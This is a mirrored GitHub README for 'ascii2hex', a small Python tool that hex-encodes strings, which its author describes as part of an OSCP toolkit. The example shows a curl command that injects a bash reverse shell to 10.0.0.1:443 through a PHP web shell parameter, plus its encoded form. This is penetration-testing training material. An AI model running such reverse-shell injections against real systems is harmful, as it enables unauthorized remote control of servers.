Giter Club home page Giter Club logo

ascii2hex's Introduction

ascii2hex

Simple python code for convert ASCII string to HEX string

how to run

That python code allow to convert ASCII string to hex in 2 type format, "%" or "\x", or other ones you need. You can select the format by using -p flag and specefie the pattern, the default it "%".

example

└─$ python3 ./ascii2hex.py -s '<? phpinfo() ?>'

%3c%3f%20%70%68%70%69%6e%66%6f%28%29%20%3f%3e
└─$ python3 ./ascii2hex.py -s '<? phpinfo() ?>' -p \\x

\x3c\x3f\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x20\x3f\x3e

about tool note

this is part from my OSCP tools, the idea it so have the ability to run reverse shell from injection point over php file, since the url can't using space value we must convert each space to hex value, so that tool do that for us. this tool is vulable since if we can inject code to some url and we need to insert more complicated request to the injection point (paramether) we can use ascii2hex:

curl "http://192.168.183.91/cmd.php?cmd=$(ascii2hex "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'")"                                        

in that case the request will be as follow:

curl "http://192.168.183.91/cmd.php?cmd=%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%34%34%33%20%30%3e%26%31%27"

ascii2hex's People

Contributors

zwerd avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.